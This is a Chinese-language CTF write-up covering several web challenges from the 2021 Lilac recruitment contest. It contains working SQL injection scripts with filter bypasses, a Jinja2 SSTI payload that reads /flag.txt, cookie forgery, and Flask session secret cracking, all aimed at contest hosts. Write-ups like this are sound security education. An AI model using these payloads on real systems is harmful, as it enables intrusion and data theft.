Lilac纳新赛web部分题目wp

跑马场

该题界面贼炫酷。各种光点聚合起来形成文字。再分开重新组成下一个句子。

界面

有用的信息就是有一个马ma.php。访问后得到密码。

马的密码

蚁剑连接即可。

flag.txt

本题源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<style>
body {
padding: 0;
margin: 0;
overflow: hidden;
}

#cas {
display: block;
margin: auto;
}
</style>
<title>跑马场</title>
</head>
<body>
<div>
<canvas id='cas' width="1200" height="800" style="background-color:#262929">您那破烂浏览器不支持 Canvas,换个现代浏览器吧。</canvas>
</div>
<div style="display:none">
<div class="ele">好消息,好消息</div>
<div class="ele">贵站已被日,勿念</div>
<div class="ele">俺是大嘿客</div>
<div class="ele">俺还留了个马</div>
<div class="ele">ma.php</div>
<div class="ele">马照跑,舞照跳</div>
</div>

<script>
(function(){
var dr;
var canvas = document.getElementById("cas"),
ele = document.querySelectorAll(".ele"),
context = canvas.getContext('2d');

var focallength = 250,index = 0;
var img = new Image();
var pause = false;
var dots = [];

canvas.width = window.innerWidth;
canvas.height = window.innerHeight;

var RAF = (function() {
return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) {
return window.setTimeout(callback, 1000 / 60);
};
})();

var Dot = function (centerX, centerY, centerZ, radius, color) {
this.dx = centerX;
this.dy = centerY;
this.dz = centerZ;
this.tx = 0;
this.ty = 0;
this.tz = 0;
this.z = centerZ;
this.x = centerX;
this.y = centerY;
this.radius = radius;
this.color = color;
};

Dot.prototype = {
paint: function () {
context.save();
var scale = (this.z + focallength) / (2 * focallength);
context.fillStyle = "rgba(" + this.color.a + "," + this.color.b + "," + this.color.c + "," + scale + ")";
context.fillRect(canvas.width / 2 + (this.x - canvas.width / 2) * scale, canvas.height / 2 + (this.y - canvas.height / 2) * scale, this.radius * scale*2 , this.radius * scale*2)
context.restore();
}
};

Array.prototype.forEach = function (callback) {
for (var i = 0; i < this.length; i++) {
callback.call(this[i]);
}
}

eachEle();

function eachEle() {
dr = 3;
if (ele[index].getAttribute('data-dr') !== null) {
dr = parseInt(ele[index].getAttribute('data-dr'))
}
context.clearRect(0, 0, canvas.width, canvas.height);
if (ele[index].innerHTML.indexOf("img") >= 0) {
img.src = ele[index].getElementsByTagName("img")[0].src;
imgload(img, function () {
context.drawImage(img, canvas.width / 2 - img.width / 2, canvas.height / 2 - img.height / 2);
dots = getimgData();
initAnimate();
})
}
else {
var text = ele[index].innerHTML;
for (var i = 0; i < text.length; i++) {
context.save();
var fontSize = Math.random() * 100 + 100;
context.font = fontSize + "px bold";
context.textAlign = "center";
context.textBaseline = "middle";
var code = text.charAt(i);
context.fillStyle = "rgba(" + parseInt(Math.random() * 125 + 130) + "," + parseInt(Math.random() * 125 + 130) + "," + parseInt(Math.random() * 125 + 130) + " , 1)";
context.fillText(code, canvas.width / 2 - ((text.length / 2 - i) * 150), canvas.height / 2);
context.restore();
}
dots = getimgData();
initAnimate();
}
index < (ele.length - 1) ? index++ : index = 0;
}

function imgload(img, callback) {
if (img.complete) {
callback.call(img);
}
else {
img.onload = function () {
callback.call(this);
}
}
}

var lastTime;

function initAnimate() {
dots.forEach(function () {
this.x = getRandom(0, canvas.width);
this.y = getRandom(0, canvas.height);
this.z = getRandom(-focallength, focallength);

this.tx = getRandom(0, canvas.width);
this.ty = getRandom(0, canvas.height);
this.tz = getRandom(-focallength, focallength);
});
dots.sort(function (a, b) {
return b.z - a.z;
});
dots.forEach(function () {
this.paint();
});
lastTime = new Date();
animate();
}

var derection = true;

function animate() {
animateRunning = true;
var thisTime = +new Date();
context.save();
context.globalCompositeOperation = 'destination-out';
context.globalAlpha = 0.1;
context.fillRect(0, 0, canvas.width, canvas.height);
context.restore();

var sulv = 0.1;
dots.forEach(function () {
var dot = this;
if (derection) {
if (Math.abs(dot.dx - dot.x) < 0.1 && Math.abs(dot.dy - dot.y) < 0.1 && Math.abs(dot.dz - dot.z) < 0.1) {
dot.x = dot.dx;
dot.y = dot.dy;
dot.z = dot.dz;
if (thisTime - lastTime > 300) derection = false;
} else {
dot.x = dot.x + (dot.dx - dot.x) * sulv;
dot.y = dot.y + (dot.dy - dot.y) * sulv;
dot.z = dot.z + (dot.dz - dot.z) * sulv;
lastTime = +new Date()
}
}
else {
if (Math.abs(dot.tx - dot.x) < 0.1 && Math.abs(dot.ty - dot.y) < 0.1 && Math.abs(dot.tz - dot.z) < 0.1) {
dot.x = dot.tx;
dot.y = dot.ty;
dot.z = dot.tz;
pause = true;
} else {
dot.x = dot.x + (dot.tx - dot.x) * sulv;
dot.y = dot.y + (dot.ty - dot.y) * sulv;
dot.z = dot.z + (dot.tz - dot.z) * sulv;
pause = false;
}
}
});
dots.sort(function (a, b) {
return b.z - a.z;
});
dots.forEach(function () {
this.paint();
});

if (!pause){
RAF(animate)
}else {
context.clearRect(0, 0, canvas.width, canvas.height);
eachEle();
derection = true;
pause = false;
}
}

function getRandom(a, b) {
return Math.random() * (b - a) + a
}

function getimgData() {
var imgData = context.getImageData(0, 0, canvas.width, canvas.height);
context.clearRect(0, 0, canvas.width, canvas.height);
var dots = [];
var canbreak = false;
for (var x = 0; x < imgData.width; x += dr) {
for (var y = 0; y < imgData.height; y += dr) {
var i = (y * imgData.width + x) * 4;
if (imgData.data[i + 3] > 128) {
var dot = new Dot(x - dr, y - dr, 0, dr, {
a: imgData.data[i],
b: imgData.data[i + 1],
c: imgData.data[i + 2]
});
dots.push(dot);
}
}
}
console.log(dots.length)
return dots;
}
}())
</script>

</body>
</html>

以后也能用这么炫酷的特效了哈哈。

赛博音乐会

题目

题目界面同样十分精美,查看源代码后发现图片的链接用的是一个php文件。

img

把后面的链接直接改成flag.txt即可获得flag。

ctf

消失的源码

dirsearch发现.git文件泄露。

dirsearch

利用GitHack脚本即可获得网站源代码。

githack

源码中没有flag,考虑flag在git以前的版本中,利用git log查看历史版本。

git log

利用git reset -a comit-id回到之前的版本。

git reset

获得提示图片。

chat

我们了解到flag在目录下oh_my_flag_****.png的图片中,直接用Burp爆破即可。

7352

图书馆

一道常规的sql注入题目,过滤了空格和一些关键字,空格可以用/**/绕过,关键字可以大写绕过。

以下是自己写的fuzz脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
from urllib.parse import quote

with open("dict.txt", "r") as f:
while (1):
id = f.readline().strip('\n')
if id:
burp0_url = f"http://node1.web.tryout.hitctf.cn:20081/read.php?id={quote(id)}"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
response = requests.get(burp0_url, headers=burp0_headers).text
if ("自首" in response):
print(f"{id} no")
else:
print(f"{id} ok")
else:
break

fuzz result

以下为payload脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
from urllib.parse import quote
from bs4 import BeautifulSoup

id = "1 order by 3".replace(" ", "/**/") #3无结果,说明主select有两个变量
id = "-1 Union Select 1, database()".replace(" ", "/**/") #得到数据库为lilac
id = "-1 Union Select 1, Group_concat(table_name) From information_schema.tables Where table_schema = 'lilac'".replace(" ", "/**/") #得到表here_is_flag_37bdcb5cca88
id = "-1 Union Select 1, Group_concat(column_name) From information_schema.columns Where table_name = 'here_is_flag_37bdcb5cca88'".replace(" ", "/**/") #得到十个字段col_1到col_10
for i in range(1, 11): #爆破十个字段
id = f"-1 Union Select 1, col_{i} From here_is_flag_37bdcb5cca88".replace(" ", "/**/")
burp0_url = f"http://node1.web.tryout.hitctf.cn:20081/read.php?id={quote(id)}"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
response = requests.get(burp0_url, headers=burp0_headers).text
if ("flag" in response):
soup = BeautifulSoup(response, "html.parser")
print(f"col_{i} success")
print(soup.div)
else:
print(f"col_{i} failed")

ctf

统一身份认证

题目给了一堆Hint233,几乎就是要把答案给你了,考点就是python flask jinja2 的 ssti。回显藏得比较深,但是题目给了提示,在title标签中。

title ssti

试了一下网上的payload,发现很多多会返回500状态码,后来意识到是引号被过滤了,用request请求加参数的方式绕过。

以下为payload脚本。

1
2
3
4
5
6
7
8
9
10
11
import requests
from urllib.parse import quote
from bs4 import BeautifulSoup

# payload = "{{1 * 100}}"
payload = "{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}"
dict = {'arg1': 'open', 'arg2': '/flag.txt'}
burp0_url = f"http://node1.web.tryout.hitctf.cn:20021/{quote(payload)}"
response = requests.get(burp0_url, params=dict).text
soup = BeautifulSoup(response, "html.parser")
print(soup.title)

ctf

先随便用一个账号密码进去。

页面提示

cookie

发现Cookie中有username字段,改为admin即可获得flag。

ctf

Unsign

和上一题几乎是同样的题目,只不过抓包后Cookie中没有username字段了,只有一个session。

session

看session的样式感觉应该是 flask 的 session。利用noraj/flask-session-cookie-manager 即可获得session解密后的内容。

解密

我们可以看到session解密后里面有username字段,看来需要我们伪造session了。

但是session是需要有签名的,也就是需要一个SECRET_KEY。但是这道题里没有给。

这时候其实题目已经提示我们了,我们需要unsign,即根据session来猜测签名。在 github上找到同名脚本 Paradoxis/Flask-Unsign)

get key

成功得到secret keypassword,于是我们再用之前的脚本加密一下即可获得payload。

-s 'password'

发送后成功得到flag。

ctf

战术总结

本部的题目质量都好高啊,特别是阮学长出的题,界面十分美观。

但是还是太菜2333,Basic题有4道做不出来了,Advanced题更是看一眼就感觉不会了哈哈。

题们

Scoreboard


Lilac纳新赛web部分题目wp
https://wuuconix.link/2021/09/12/lilac/
作者
wuuconix
发布于
2021年9月12日
许可协议